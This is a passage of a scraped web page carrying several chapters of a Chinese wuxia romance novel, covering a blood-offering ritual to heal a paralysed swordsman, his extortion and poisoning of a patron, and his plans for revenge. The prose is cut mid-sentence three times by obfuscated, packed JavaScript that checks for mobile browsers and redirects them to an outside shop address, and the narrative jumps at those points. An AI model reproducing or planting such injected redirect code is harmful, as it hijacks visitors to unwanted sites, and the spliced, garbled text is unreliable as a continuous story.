孙芳姑道,“你的心头血。一碗心头血蕴含着人十年的寿元。稍后你用刀自心口取一碗心头血,取其中半碗淋在无生老母的八卦盘上,诚心祷告,无生老母便会回应你的诉求。供奉结束后,你回去将剩下半碗心头血喂给你的同伴服下,到第二日,他便能重获健康。” 说着,她打开地下室的隔板,爬了下去,示意知慈跟上。 知慈向地下室内探头瞅了眼,被吓了一跳: 只见地下室仅由一只蜡烛照明。暗室中间矗立着一座无生老母的雕像,地下室四周墙上、天花板、和地板上,都贴满了镜子。从门外望去,室内就仿佛一个无限延展的空间,而空间中又矗立着无数尊无生老母雕像。 “这……”知慈情不自禁发出一声低呼,她下意识感到此处十分不祥。 “别怕,”孙芳姑嘟囔着,她抬头,神情狂热地冲知慈招手。 知慈犹豫道,“我听说,玄门之中,镜子意味着‘不祥’,这室内摆满了镜子,未免太过瘆人。” 孙芳姑听罢,并没有生气,而是认真道,“无生老母并非正神,自然要用一些旁门之法才能通灵。贫道将房间四面都贴满镜子,营造出了一间无限延展、直通阴阳的厢中世界。如此一来,祂才能听见贫道的祷告。” 知慈听罢,将信将疑爬了下来。一进地下室,她便看见四面八方出现了无数个自己的倒影,她犹疑着走到孙芳姑身边。在她们面前,无生老母手执阴阳盘,低垂眼皮无悲无喜,她脚边放着一个小碗,里面盛着鲜血,看起来像一个小型献祭台。 知慈道,“这是谁的血?” 孙芳姑道,“我自己的。” 知慈侧目,孙芳姑解释道,“贫道钻研了很多年,才摸清和无生老母的交流之法。那就是用贫道的鲜血献祭,在连通阴阳的空间中向无生老母祷告。”说着她伸出手臂拉起袖子,只见她的手臂之上尽是一道又一道的刀疤。 知慈不想再看,移开了视线,道,“所以我想救回我的同伴,也需要放血?” 孙芳姑点头,“是的,你献祭给祂心头血,祂救你同伴性命——本质上,便是用你十年寿元,换你同伴的命。” 孙芳姑顿了顿,平素疯癫的眼神极为清明,“不过,你想好之后再做决定。因为贫道曾帮助过几人进行仪式。但后来无一例外,他们都后悔了。” 知慈道,“为什么后悔?难道还有别的负面影响?” 孙芳姑摇头,“不,只要不后悔,就对没有影响。可一旦后悔,献血者就会被反噬,日日受心痛折磨。然而,大恩如仇,被救的人过了一年半载,无一不与他们反目。” 知慈沉默,失去寿命绝非小事,如果她长寿还好,假设她命数不长,那失去十年寿命,她便没几年可活了。 但随即,知慈便想起自己临走时,赵晏然痛哭着指责她、谩骂她。 他问为什么死的不是她。 赵晏然的恨意知慈完全可以理解,他只是出于庇护之心下意识帮自己挡了一把,却没想到李护院的炸药威力那么大,害他差点搭上了命。若当时没有他,自己已经死透了。 自己确实欠他一条命。 于是知慈道,“我想好了,我要救他。” 孙芳姑道,“你想救他的理由呢?” 知慈道,“他救了我,我欠他一条命。” 孙芳姑神色并不信服,“只有这一个原因?” “只有这一个原因。” 孙芳姑叹了口气,“如果只为了报恩,我建议你算了。报恩的方式有很多,没必要搭上自己。” 知慈沉默下来,半晌,她轻声道,“我喜欢他,我不想让他死。” - 清晨,知慈坐在赵晏然床边,唇色发白。 她忍受着心口处一阵一阵的疼痛,将碗中心头血尽数喂给了昏迷的赵晏然。 知慈耳边回荡起数个时辰前,孙芳姑指导自己的供奉方式。 “心头血蕴含着精元,你将心头血装进空碗中,供奉在无生老母脚前,随后诚心祈祷,默念你的愿望。两个时辰后,你的心头血便会变成起死回生的神药,你将它带回给你同伴喂下,便能让他重获健康。” 她按照孙芳姑的方式放了一碗血,胸前伤口痛极,同时感觉头晕目眩,阵阵发冷。但知慈没多休息,简单包扎后强忍痛楚回到了养济院。 待给赵晏然喂下整整一碗血之后,知慈实在难受得厉害,便躺到外间的陪护床上,睡了一会。 19. 苏醒 沉沉睡梦中,赵晏然再次回到十年前那个寒冷的冬日。 那日晌午,娘亲让他去找邻居家的小豪玩,而她和爹爹则神色凝重地将村中所有的大人都聚集起来,准备商议一件重要的事。 小豪住在他家隔壁,年纪比他大一岁,因为两家大人走动频繁,所以赵晏然与小豪关系也特别好。 赵晏然来到小豪家院门口,门内走出来一位年轻漂亮的妇人,看见赵晏然,笑道,“晏然来啦?你和小豪先玩儿,我去你家参加个集会。”她同赵晏然说话时态度热情亲切,就像对待自己家中的晚辈。 时年六岁的赵晏然乖巧点头,“婶子慢走。”随即熟稔地进屋去找小豪。未过多久,两个小男孩便人手拿着一个陀螺,一前一后欢快地跑到村里空地上玩了起来。 二人约定谁的陀螺转得时间长就算谁赢。结果陀螺相撞后,小豪的陀螺先停了下来。 小豪嚷道,“不算,这次不算,我方才抽的时候劲使大了。” 赵晏然道,“凭什么不算?就是我赢了,你怎么还玩不起。” 小豪见赵晏然不肯让着他,嘴一瘪,哭了起来,“就是不算,我要让我娘亲来评理。” 赵晏然怒道,“你去吧,我最讨厌你这种玩不起的人。” 说罢,他抱臂坐到了地上,没有理会小豪跑远。 “真是玩不起。”赵晏然生气地嘟囔。 “孩子,陀螺有甚好玩,在下手中有比陀螺更有趣之物。”身后不远处,一个陌生的成年男性声音响起。 赵晏然吓了一跳,连忙爬起回头,便见到一位身着道袍仙风道骨的青年道士望着他。 “你是谁?” “在下上清派首徒,名唤萧云。”青年道士回答。 原来萧云即将继任上清掌门,在此之前要下山历练,正好路过北方一处农村,停下歇脚时,见到眼前孩童骨骼清奇,不由得起了收徒之意。于是上前同他攀谈,心想若这孩子有意向,便再问问他父母的意见。 “上清派?”闻言赵晏然略有几分激动,“是那个闻名天下的武学门派吗?” 萧云道,“没错。” 萧云刚简单向赵晏然交代几句上清派的情况,赵晏然就听见自家方向传来了喧哗声。他变了脸色,连忙往家里方向跑,却见家门口已被人堵得水泄不通。 冷县知县孟强带着衙门捕快将赵晏然家包围住了。赵晏然父母,还有村里的其他村民,都挤在小小院中,将院落堵得水泄不通。 赵晏然挤不进院,只得爬上不远处的大树,俯瞰院中情况。 孟强道,“今日本官来此,是为了告诉乡亲们两桩事。第一桩,鞑靼军队昨日已撤出了谢国边境,本官不会再从村里征走一个人。” 原来,冷县地处谢国边境,常有来自鞑靼的骑兵越过边境骚扰谢国百姓。 为了对抗这些入侵者。朝廷下发了大量补贴,让当地官员动员百姓参军上前线对抗鞑靼士兵,若士兵不幸阵亡,朝廷将会发给烈士家属一大笔抚恤金。 孟强时任冷县知县,负责当地动员征兵的工作。但他心术不正,很快找到了敛财手段: 每次边境战事一起,孟强就派人逐个村落拉壮丁,等壮丁战死,便按流程下发抚恤金——但这笔抚恤金,孟强要先狠狠刮去其中的大部分,余下零头才会真正下发到家属手中。 孟强将附近村庄壮丁尽数抓走。赵晏然家所在的村庄闻讯后也立刻人人自危。 于是当下,赵晏然的父亲,十里八村内威望颇高的乡绅,便秘密纠集村民开会,号召大伙带上锄头棍棒,准备和把孟强状告到他上级那,讨要个说法。 但就在众人准备出发之时,孟强却突然找上门来了。 只见孟强带着捕快,对村民们一脸和煦道,“本官过来是想通知大家,鞑靼昨日已撤出了谢国边境,因此本官不会再从村里征走一个人了。” 孟强话中意思是,赵村村民们的利益和人身安全不会有任何损失了。 村民们你看看我,我看看你,反抗的理由突然消失,他们一时间有些茫然。 只有赵父不为所动,怒声道,“鞑靼军队哪次不是撤出谢国后,没多久便卷土重来?待日后他们再来骚扰边境,你这狗官怕不是又故技重施!” 孟强面不改色,道,“这便是我要说的第二件事——我孟强用人头担保,如果再有战争发生,那一定是本官和官兵先上,本官战死之前,绝对轮不到咱们老百姓上战场。” 望着正义凛然、掷地有声的知县,村民们动摇了,有部分人悄悄放下了锄头。 孟强又道,“其实按照大谢律法,非法集会闹事者是要被斩首的。可孟强深知乡亲们心性淳朴,若非有心人煽动,你们又怎会犯下这这种错误?” 孟强继续道,“所以,只要你们现在放下手中的器械,本官保证绝不伤你们一人,如果你们偏要知法犯法,那等待你们的只有大狱。” 村民们闻言,纷纷放下了锄头。他们本是普通庄稼汉,若非被逼上绝境,谁愿意与官府为敌呢?如今见孟强并非不讲道理,反而有几分胆色担当,他们内心自然动摇。 赵父见村民们纷纷倒戈,有些着急,“乡亲们,仅凭他口头的保证,你们不能相信他啊!我们不团结起来把这事闹大,下次被拉壮丁的就是我们赵村了!” 随即赵父转头,瞪视孟强道,“你这狗官,欺骗村民,你会遭报应的!” 孟强呵斥道,“放肆,你们煽动村民制造暴乱,还敢如此和本官说话?来人,给我把这对夫妇拷走!” 赵晏然在树上见爹娘要被抓走,着急地想下去,却发现自己动不了。 耳边传来萧云的声音,“别动。你现在下去帮不上忙,只会一块被抓走。”原来萧云点了他的穴道。 院内,赵父被捕快擒住,冲孟强大声道,“你以为把我抓走,你犯下的罪行便不存在了吗?” 孟强闻言却笑了,“好啊!你以为你是救世主?你既然如此大义凛然,那本官便给你个机会。”孟强扬声对在场众人道,“诸位乡亲,你们可有为这对煽动闹事的夫妇求情的?” 片刻之前还义愤填膺的村民,此刻突然都安静了下来。 赵父不可置信地转头望去,可他视线所及之处,村民纷纷避开他的目光,不愿同他对视。只有小豪没有回避他的目光,但他的母亲花婶立刻轻轻捂住他的眼睛,示意他别看。 孟强方才说了,非法集会闹事者要被斩首。但此刻只要与赵氏夫妇划清界限,孟强就不会问他们的责。 树上,看着平日视作叔婶的村民们避之不及的模样,赵晏然脑中的弦崩断了。 孟强压制不住得意,“怎么没人领你的情啊,赵老爷?” 他顿了顿,又道,“行,不废话了,给我带走。” 赵晏然心急如焚,无奈身体动不了,只能眼睁睁看着孟强手下的官兵将自己父母拷走。 直到官兵和乡民们都散去,萧云才终于解开他的穴道。 赵晏然开口,“你武功那么高,刚才为什么不肯出手?” 萧云平静道,“上清派独立于朝堂之外,不接受朝廷管辖,也不会插手任何官民纠纷。” 赵晏然沉默片刻,一言不发滑下树。 树上,萧云望着小小孩童的背影,道,“孩子,我等你三日。你若有意拜入上清,便去县里的客栈找我。” - 萧云没有等到第三日,因为赵晏然当日下午便在乱葬岗发现了父母的尸体。 孟强敢如此草菅人命,便是因为边境意外死亡的人太多,死了两个人根本无人追究。 望着父母的遗体,赵晏然心中充满恨意。 他恨颠倒黑白、目无王法的孟强;也恨软弱麻木的乡亲;更恨为不值得的人搭上性命的父母。 但他最恨的,却是这个弱小没有力量、什么都做不了的自己。 于是安葬完父母后,赵晏然便去县里客栈寻萧云,他对萧云三叩九拜,“萧大侠,请您收我为徒。” 这一刻的赵晏然无比渴望力量,他以最沉痛的代价领悟了世间的运行法则:弱小就要受欺负。这世界弱肉强食,强大的力量是唯一畅行世间的通行证。 那之后,他随萧云来到上清,接下来十年他拼命习武。他有天赋,又下功夫努力,因而实力提高飞快。 而他越强大,他周围人对他便越敬重。也因此,他愈发信奉这世界就是这样:谁拳头硬,谁就有话语权。 为追寻更高强的力量,他来到京城去做历练任务,以换得修习掌门亲传剑法的资格。 在那期间,他的雇主路繁叶向他伸出橄榄枝,引荐从军。 赵晏然嗤之以鼻。他生长在边境,比任何人都清楚战场是九死一生的地方。所以他有什么理由押上自己的性命上战场? 为功名利禄? 赵晏然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵晏然缓慢下了床,心知如今他恢复了力量,只要他愿意,弃他而去的人就会再度围到他身边。可那有什么意思?他们和孟强、和村民根本没有区别,弱小时将他弃若敝屣,强大后簇拥在他身边,也不过是为了借势。 赵晏然突然觉得厌倦。 他头重脚轻地朝外间走去,推开门,怨恨地感慨:这就是人性——卑贱、下作、势利眼、冷漠得让他想吐。 然而下一秒,赵晏然愣住了。 他看见知慈侧卧于外间的陪护床上,睡得很沉,蹙着眉似乎不太舒服。 ……为什么? 为什么她没走? 他明明把所有的过错都推到了她头上,明明用最难听的话诅咒了她。他这样对她,她为什么还不走? 他无措而不解道,“你为什么……?” 赵晏然停顿半晌,没了下文。 赵晏然怔怔望着知慈的睡颜,伫立了很久。 他心中五味杂陈,不解、欣喜、感激、愧疚、还有一丝委屈……满腔情感最终化为叹息一声,他轻轻为知慈掖好了被角,退出了外间。 - 知慈醒来时,屋中一片静谧。 因刚放完心头血,她的心口窝还有些隐隐作痛。 恰好这时,房门被推开,知慈看见赵晏然提着一个食盒进来,他淡淡道,“醒了?正好来吃点东西。”说着,他提着食盒自然而然进了内屋。 知慈怔怔望着赵晏然背影,还有些没反应过来。 “你……你能动了?!” 知慈掀开被跳下床,跟进了里屋。 赵晏然面色冷淡坐在塌边,就像知慈初见他时那样。 知慈也做到塌另一侧,拿起筷子吃饭。 她开口道,“幸好你恢复得快,否则若是你醒了还不能动,我真怕你又……”说道一半,她意识到昨晚当属赵晏然此生最狼狈难堪的时刻,他自尊心很高,恐怕会冒犯他。 谁知赵晏然毫不介意,闻言平淡道,“你说的对,我若还瘫着,确实有可能直接疯了。” 他顿了顿,又道,“我刚刚问了医师,他说我能康复简直是奇迹。知慈,你有头绪吗?” 知慈当然知道,因为自己给他喂了心头血。 但孙芳姑提醒过她大恩如仇,她也不愿透露心头血的事,暴露自己的心思,便只轻描淡写道,“我不知道,大约是你身体恢复能力强吧。” 赵晏然闻言,没再说什么,默默吃饭。 半晌,知慈听到一声很轻的含混的‘谢谢’。 谢谢你没有抛下我。 知慈没听清,“哈?” 然而赵晏然再无半点说话的意思,接下来只安静地吃饭。 20. 新居 接下来几日,赵晏然身体逐渐恢复,而知慈见赵晏然已不需要自己照顾,也开始忙碌起来,四处寻找自己接下来的出路。 这日知慈外出,谢琅得知赵晏然身体康复,再次郑重探望了他,送来了很多贵重的礼品,并有意劝说他入仕,想将他纳入麾下。 赵晏然对这个样貌能力样样拔尖的贵公子很有敌意,觉得他一副君子模样太装。于是冷脸打发了他。 谢琅也不生气,温和道若有什么需要他做的,可以随时找他。 谢琅走后,赵晏然便混在了一堆伤员之中,听他们侃大山。 “我还当那白巾教主长得凶神恶煞,谁能想到本人外形仙风道骨,打死我也没法把他和反贼头子联系到一块儿啊。”一个参与清剿白巾教行动的捕快,吊着一只胳膊躺在病床上道。 他的话引来几人附和,一个京营伤兵道,“想不明白,白巾教凭什么敢和朝廷作对?” 又一锦衣卫接话道,“他们有钱呗,有钱就能四处印书讲座、招兵买马。而且我听说,白巾教能发展这么大,背后暗中支持他们的势力也不少,其中关系网交错复杂,水深得很,说不定啊,咱自家朝廷都有暗中反水的呢。 锦衣卫继续道,“这次追月节,各地官员都要进京述职。出了白巾教这事儿,北边儿那几位高官,什么孟强、李纯……估计都要被上头敲打一番——怎么办的事,能让白巾教的人一路畅通无阻跑到京城来闹事。” 孟强? 听见熟悉的人名,赵晏然瞬间抬起头,“你说谁?” 伤兵见一直沉默的赵晏然对他说的话感兴趣,不禁有些激动,道,“赵兄弟,我是说北风省布政使孟强,几日后追月节,他会来京中述职。” 孟强要来京城。听到这个消息,赵晏然双手无意识紧握成拳。 孟强杀了他父母,赵晏然无数次想过将他碎尸万段,替父母报仇。但拜入上清派那天,师父就再三同他强调过门派的规矩: 上清派乃中立门派,远离庙堂。既不接受朝廷管辖,也不允许弟子插手任何朝堂纷争。 孟强是官,是朝廷的人,所以只要赵晏然身为上清弟子一天,就不允许刺杀孟强。 赵晏然当然无数次想过杀了孟强,但他拜入上清派的根本目的是变强,为了报仇被逐出师门不值得。于是他压下了满腔仇恨,专心提升自己。 赵晏然每次下山都会特地打听孟强的消息。但纵使他将孟强在心中凌迟千万遍,身体上却从未付出任何行动。 但是此刻,情况不一样了。 赵晏然盯着自己发颤的手,心绪汹涌。 他不知自己是否还会回到门派,也许未来会,但现在不行,现在的他一点也不想面对掌门师父和其他师兄弟。 这一刻他甚至极端地想,他索性明天就去找到孟强,把他杀了。至于被逐出师门他根本无所谓,反正这样功利而冷漠的门派,不回也罢。 几个伤员仍在有一搭没一搭闲聊,但赵晏然已然神游天外,直到回到自己的厢房,还在权衡着到底是回门派,还是杀孟强。 当天傍晚,知慈风尘仆仆回到厢房,眼角眉梢都是喜意。 赵晏然看着她,开口道,“怎么这样开心?” 知慈笑道,“之前同在路府做工的何姐,如今她在一家酒楼任主管,把我介绍了过去,明天我便去酒楼做工。” 赵晏然却并没有笑,“你要走了?” 知慈点头,“是啊,你已经痊愈,我就不用再照顾你了,我也不能一直不事生产嘛。” “那你住哪?” 知慈叹了口气道,“没来得及找,接下来还得张罗住处。”她有些头大,酒楼开给她的月钱,能找的房子要么太偏要么太破。 听说知慈要搬走之后,赵晏然便一副心不在焉的模样,不知在想什么。 - 第二日知慈动身出门后,赵晏然抽出自己的精铁长剑和匕首,专注擦拭起来。 虽然他尚不能高强度与人打斗,但随着近几日身体好转,赵晏然明显感觉到自己的力量在不断恢复。 赵晏然慢悠悠擦拭完剑,收剑入鞘,这动作他早已形成肌肉记忆,做得潇洒无比。 然后他戴上了黑布斗笠,腰间佩剑,推开房门,大步离去。 赵晏然一身黑衣,身材挺拔,看起来俊俏消瘦。大堂中伤员和医师无不被这位仪态利落出挑的少年侠客吸引。 - 路府。 看守大门的护院戒备盯着来人,对方少年身形、身量单薄,但举手投足间却一副蓄势待发的模样,一看便是常年累月积累出来的练家子,护院只觉说不出的熟悉。 “你找谁?” “找路繁叶。”赵晏然摘下斗笠,面无表情。 “赵兄弟,是你?!你不是——” 见到来者,护院意外极了,他明明记得赵晏然瘫痪了。 赵晏然不再理会他,左手托着斗笠,抬步上了台阶。 “哎,你等等。大少爷的规矩你懂的,我得先通传一下、” 赵晏然右手搭上腰间配剑,冷冷瞥了护院一眼。护院立刻被他这个动作吓得后退了一步,不敢再拦。 路府书房内,路繁叶正在写公文,专注之时,书房大门突然被人推开。 路繁叶思绪被打断,不快地抬起头,“我说过,不要在我办公时打扰——” 四目相对,路繁叶大脑中一片空白,他心跳加快手脚变凉,脖子寒毛直立。 下一秒,他便弹起身推开椅子,踉跄着向后退去,大叫道,“来人啊!” 赵晏然冷笑一声,“你放心吧,外面的人看见是我,没人敢进来。” 路繁叶倚着墙面,身体不受控制地往下滑,他颤抖着道,“你不是瘫痪了吗?” 赵晏然来到路繁叶身前,露出一口洁白的牙齿,阴森森一笑,“这不听说你趁着我病重落井下石么,所以我硬生生从鬼门关爬回来,就是为了杀你。” 路繁叶闻言,再也站不住了,他瘫坐在地上,“你不能杀我!我可是你们上清派的大主顾,你杀了我,怎么同你们掌门交待?” 赵晏然冷笑,“少操点心吧,即便我被清理门户,也是你死后的事了。”话毕,他利落拔剑架在路繁叶颈上。 “还有什么遗言吗?” 路繁叶嘴唇颤抖,无比后悔之前自己之前意气用事,对赵晏然落井下石。他亲眼见过赵晏然面不改色杀了几十人,这样凶悍的武人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725669|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要没死透,自己就不该和他彻底撕破脸。 想到赵晏然杀人不眨眼的样子,路繁叶真的怕了,他语带哀求,“就不能不杀我吗?我有钱,我有权势,你想要什么,我都能给你。” 路繁叶说完,凭借对赵晏然的了解,自己都不相信赵晏然能放过他。 然而令他意外的是,赵晏然竟然真得思考了片刻,然后认同地点了点头,道,“你说的对,你这猪头杀了也没用。” 他松开路繁叶,拿剑面拍了拍路繁叶的脸颊,道,“所以,如果你按我的要求做,我也可以不杀你。” - 傍晚,知慈沿着街道返回养济院。 知慈心知赵晏然这些天已经恢复了七八分,很快便不用再住院了。 想到赵晏然如今已恢复健康,知慈猜测他大概会回到上清派,也不知以后还能不能再相遇。想到这里,知慈有些伤感。 虽然很舍不得,但对赵晏然来说,自己只是他的朋友。朋友之间可以患难与共,却没有永远绑在一起的道理。 自己已经找到新的出路,赵晏然也有他的追求,分道扬镳已然板上钉钉。 知慈叹了口气,决定今晚就问问赵晏然的打算。 她低头想着心事,快要到养济院门前时,突然有人唤她,“沈知慈。” 知慈吓了一跳,一抬头,便见赵晏然站在街边瞧她。少年容貌冷而俊,身材挺拔,远远看去赏心悦目。 “怎么了?” 赵晏然简洁道,“带你去个地方。” 知慈心中疑惑,被赵晏然拉着走了不知多久,她发现周围的街巷愈发整洁高档,住户条件也愈发富庶。 最终,二人在一条街道前停下。 只见这条街边的房屋是一整趟联排平房——也就是每个门户的墙壁连都在一起,但每家门户均有自己单独的院子。楼体用料崭新高档,很显然刚盖好没多久。 知慈疑惑地看向赵晏然。 赵晏然轻描淡写道,“我新买的房子,枣花街天字院,今天下午刚签的房契,买的边户。” 知慈心里疑惑,买的?他哪里来的这么多钱? 赵晏然看向知慈,“你不是在找房子么,住我这儿吧。” 知慈没答复他,道,“你怎么突然在京城买房,是不打算回上清派了吗?” 赵晏然沉默片刻,道,“我自有我的理由,你安心住下便是。” 赵晏然不愿在知慈面前提及师门的话题,他还没想好怎么面对放弃他的掌门师父。 赵晏然邀请她当室友,知慈摸不准他是纯粹好意还是想将房子闲置部分利益最大化,于是试探问道,“那我给你多少钱合适?” 赵晏然神色便不太高兴,“凭你我的交情,当然不收钱。” 知慈闻言,有些开心,“那,我就恭敬不如从命啦。” 当晚,二人将为数不多的行李从养济院搬到了新房。赵晏然住西厢房,知慈住东厢房。 忙碌一晚,知慈终于躺进柔软的被窝里,住惯了路府的大通铺和养济院的陪护床,知慈心道这房子真是哪里都好,装潢精美,宽敞安静,让她想起了很久以前自己在沈家的卧房。 困意袭来,知慈沉沉进入了梦乡。 21. 老妪 另一边,赵晏然厢房内。 赵晏然坐在桌前,桌上一堆银票,上面有路繁叶的担保画押。 但赵晏然并未关注银票。只见他面前摆着几柄形状各异的匕首和飞刀,装着毒药的小瓷瓶、绳索。 赵晏然瘦长的手指轻轻捏着一柄飞刀,耐心地擦拭干净。他眼神专注,下垂的眼尾让他看起来无辜单纯,完全无法同杀人二字联系在一起。 擦拭干净后,他握住飞刀,烛光之下,他的手掌极细微地发抖。 自自己能动以后,他的功力已经恢复到了十之七八,假以时日便能完全恢复。 但与此同时,他却发现自己无论如何努力,都无法像从前一样保持手掌的平稳。无论握剑还是握飞刀,他的手都会微微颤抖。 初学武艺时,掌门便告诉他,握剑的手不稳,便意味着道心不稳。 自己道心不稳,赵晏然承认。自从瘫痪中痊愈后,他就一直在迷茫:如果自己花费数十年习得的本领,只因一个意外就能尽数化为乌有,那他的道心——追逐力量求索极致,又有什么意义? 即使如今侥幸武功失而复得,但下回再来一个未知的意外,他是不是便又要失去一切?那他又何必再去努力,花上十年时间只为追寻剑道那一点极致? 赵晏然叹了口气,摒弃掉这些杂念。鬼门关走一遭,如今能使剑已经很好了。至于道心不稳,只要不与顶尖高手对决,其实没什么影响,不过是割喉时给对方个痛快还是让对方稍微受点苦的区别。 于是他放下了飞刀,继续检查起桌面上其他暗杀的工具来。毒药、麻绳、迷魂散,赵晏然一一仔细检查。 白日他胁迫路繁叶用大笔金银和孟强的情报换回他的性命。其中,金银已经被他花掉买了房子,而孟强的行踪,则让赵晏然决定谋划一起刺杀。 路繁叶告诉他,数日之后的追月节京城将百官来朝,孟强也在其列。于是赵晏然提前开始准备,打算这几日多踩几次点,确保行刺成功。 他并不害怕路繁叶欺骗或者转头出卖他,因为他给路繁叶喂了一粒毒药,并告知孟强死了才能给他解药,强行将路繁叶的性命和孟强绑定在了一起,逼着他不得不说实话。 - 接下来几日,知慈去了酒楼做工,赵晏然偶尔外出踩点,其余时间一直把自己关在屋中。 这日,赵晏然家中则来了一位熟人。 赵晏然道,“我才给你发的信,你怎么这么快就找了过来?” 来人正是周师兄,他笑道,“那是自然,听说你能动了,我立刻从东方城星月兼程赶了回来。” 他上下查看赵晏然的状态,"如何?你觉得自己恢复的怎样?" “尚未完全恢复,”赵晏然道,随即露出一点笑,“不过打你绰绰有余。” 周师兄见赵晏然恢复到从前那副轻狂模样,并未感到冒犯,反而有几分欣慰,他抬起剑鞘,道,“说大话可没用,你究竟水平如何,过两个招式便知。” 赵晏然自然答应。 院内刀光剑影,片刻之后,周师兄手中剑被击飞,赵晏然仍维持挑剑的姿态,神色冷淡,只嘴角勾起一个满意的笑。 周师兄道,“我输了,师弟,还是打不过你。不过,”他话锋一转,“我注意到了,方才同我交手时,你出招不如原来沉稳,甚至有几个瞬间握剑的手在发颤。” 赵晏然停顿片刻,道,“还是被你发现了。可没办法,自从大病一场后,我就再也找不到从前那种人剑合一的坚定感了。” 周师兄皱起眉,担忧道,“握不住剑是道心不稳的外显,别在京城浪费时间了,同我回上清吧,让掌门帮你看看。” 听到周师兄提起回上清的事,赵晏然沉默了。 片刻后,赵晏然开口,“我不想回去。” “不回去?为什么……是因为掌门选诸葛做亲传弟子的事?” 赵晏然冷笑一声,道,“是,换谁能不怨?我刻苦修炼至门派顶尖,又耽搁大半年时间去路府做所谓的历练任务——实际就是给掌门赚钱当苦力。而掌门怎么对我的?我瘫痪的消息刚传到山上,掌门就卸磨杀驴,立刻转立诸葛真为亲传弟子,甚至都不用他去做历练任务。” “这样的门派,你告诉我还有什么可留恋?” 周师兄道,“你别激动,晏然。很多同门也认为此事掌门欠妥。但你能因掌门糊涂一回,就全盘否认上清对你多年的教养之恩吗?何况上清的名号和武学资源冠绝天下,身为上清弟子对你来说利大于弊。如今你身体已经恢复,回去之后,掌门自然会重新考虑亲传弟子的人选。” 赵晏然再次沉默,这一次他在动摇。 “……我不知道未来是否会回去。但总之不是现在。” 周师兄问,“现在为什么不行?” 赵晏然道,“……我不知该以怎样的态度面对师父和同门。” 说到这份上,周师兄终于不再劝他,“行吧。我不管你了,不过过段时间师父肯定会派其他人来劝你。” 周师兄不再执着,反而有了闲心观察起周围,他环顾院子,道,“这房子就是你靠敲诈路繁叶的钱买的?” 赵晏然嗤笑道,“是又怎样,我违法了门规,你要替掌门清理门户?” 周师兄兴致缺缺,“算了吧。你找上门当天,路繁叶就写信向掌门告状了。掌门得知你痊愈,便写信让我来看看你的情况,至于路繁叶的事,他只在信末尾轻飘飘提了一嘴,没有深究之意。” 周师兄看向赵晏然,道,“你真不回上清了?买了房是准备定居京城?” 赵晏然简洁道,“不是。” 随后,他又补充了一句,“记得沈知慈吗?” 周师兄道,“当然,一直照顾你的姑娘。” 赵晏然道,“她无处落脚,能找到的地方条件简陋,要和其他人一起挤大通铺,恰好我出院后也要再寻住处,便买了个院子落脚。” 周师兄面露费解,“那有必要直接买房吗?你又不能在这久居。” 赵晏然道,“我不需要,但她需要。若有一天我走了,她还可以继续住这,不必再费神找住处。” 周师兄沉吟半晌,得出结论,“你喜欢她?” “……不喜欢,”少年垂眸,鸦羽般的长睫盖住了眼中的迷茫,“我只是……不想她走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729463|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 周师兄看着师弟俊挺的侧脸,有些哭笑不得,“行吧,你们这帮师弟行事我一向理解不来。我走了,你好好想想回上清的事吧,这段时间我都在京城,想好就来找我。” - 赵晏然同周师兄说话时,恰好知慈收工回家。 经过衙门时,知慈在路边遇见一位衣衫褴褛的老妪蹲坐在路边,嚎啕大哭,闻者无不侧目。 知慈近来日日能在此处撞这个老妪,她或者眼神呆滞、口中念念有声,或者如此刻一般哭泣。说不好奇她身上发生了什么,那是不可能的。 恰逢有个提着菜篮的好事妇人路过,见状便走过去弯腰问那老妪,“大姐,你遇到什么事了?” 老妪闻言抬头,红着眼道,“我儿子死了。” 知慈缓下脚步,竖耳等待下文。 “我本是西北边陲的普通农人,家中世代种田。但边境战乱频繁,每逢鞑靼人骚扰边境,当地知县便会自下辖的村庄抓壮丁填前线。” “三个月前,我儿子去城里采买家用,便再也没回来过。还是后来同村的人告诉我,我才知道,原来他刚进城,便被知县手下的人绑了去充壮丁。” 老妪抹了把脸上的泪。“他是我唯一的孩子,上了前线便意味有去无回。老身并非不明大义,可如今在城里抓人的督战兵比上前线的兵还多,他们身体强壮、有编制领月俸却在城里晃悠,仗着小小的权力作威作福,而我儿一介农人却要被抓到战场填线,天理何在?” “刚听到这个消息,我还尚存一丝侥幸,祈祷我儿能平安归来。可三个月后,我收到了我儿的染血的铭牌——他死了。” “那群兵卒将铭牌匆匆塞给我便要离去。我拉住他,‘军爷,他的遗体呢?’兵卒说他尸骨无存,我又问,‘他没留下别的东西吗?’,兵卒依然说没有。” “我儿被他们绑上战场,连点念想都没给我留下。我不甘心,希望他起码死的有点价值,最后问道,‘抚恤金呢?’,那兵卒便甩开我的手,不耐烦地说,‘没有,他没立过战功,哪来的抚恤金?’” “我被带得跌坐在地上,说不清痛苦更多,还是愤怒更多。他们在说谎!朝廷在镇里张贴过公文,凡战场阵亡的士兵家属皆要发放抚恤金。他们说没有,是他们私吞了!我儿的命成了他们牟利的工具!” “我去衙门讨公道,却被衙门搪塞打发掉——哼,因为本身就是知县授意。我儿根本不是战死,而是被自己人害死的。于是我继续向上级衙门去求,就这样一路求到了京城。” 